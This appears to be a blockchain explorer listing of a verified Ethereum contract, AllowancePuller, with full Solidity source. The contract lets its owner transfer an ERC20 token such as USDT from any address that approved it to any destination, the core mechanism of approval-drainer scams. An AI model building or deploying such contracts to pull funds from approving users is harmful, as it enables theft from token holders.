AllowancePuller

Description:

Smart contract deployed on Ethereum.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

pragma solidity ^0.8.20;


interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

library MiniSafeERC20 {
    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        (bool ok, bytes memory data) =
            address(token).call(abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
        require(ok && (data.length == 0 || abi.decode(data, (bool))), "TRANSFER_FROM_FAILED");
    }

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        (bool ok, bytes memory data) =
            address(token).call(abi.encodeWithSelector(token.transfer.selector, to, value));
        require(ok && (data.length == 0 || abi.decode(data, (bool))), "TRANSFER_FAILED");
    }
}


contract AllowancePuller {
    using MiniSafeERC20 for IERC20;

    address public owner;    
    IERC20  public immutable token; // 目标代币(USDT 或你想操作的 ERC20)

    event OwnerChanged(address indexed oldOwner, address indexed newOwner);
    event Pulled(address indexed from, address indexed to, uint256 amount);
    event Swept(address indexed erc20, address indexed to, uint256 amount);

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "ZERO_TOKEN");
        owner = msg.sender;
        token = IERC20(tokenAddress);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "NOT_OWNER");
        _;
    }


    function setOwner(address newOwner) external onlyOwner {
        require(newOwner != address(0), "ZERO_NEW_OWNER");
        emit OwnerChanged(owner, newOwner);
        owner = newOwner;
    }


    function pullFrom(address from, address to, uint256 amount) external onlyOwner {
        require(from != address(0) && to != address(0), "BAD_ADDR");
        token.safeTransferFrom(from, to, amount);
        emit Pulled(from, to, amount);
    }


    function allowanceOf(address from) external view returns (uint256) {
        return token.allowance(from, address(this));
    }


    function sweep(address erc20, address to, uint256 amount) external onlyOwner {
        require(erc20 != address(0) && to != address(0), "BAD_ADDR");
        IERC20(erc20).safeTransfer(to, amount);
        emit Swept(erc20, to, amount);
    }
}

Tags:
addr:0xf7b5262cb73ec3370443cf66ed1847f2630226ea|verified:true|block:23377792|tx:0x2bf6f2d1506b65fde65f847e6f8f4f0f30f00f0b4fdf3543aef2aca51c842f88|first_check:1758099855

Submitted on: 2025-09-16 21:56:05

Comments

Log in to comment.

No comments yet.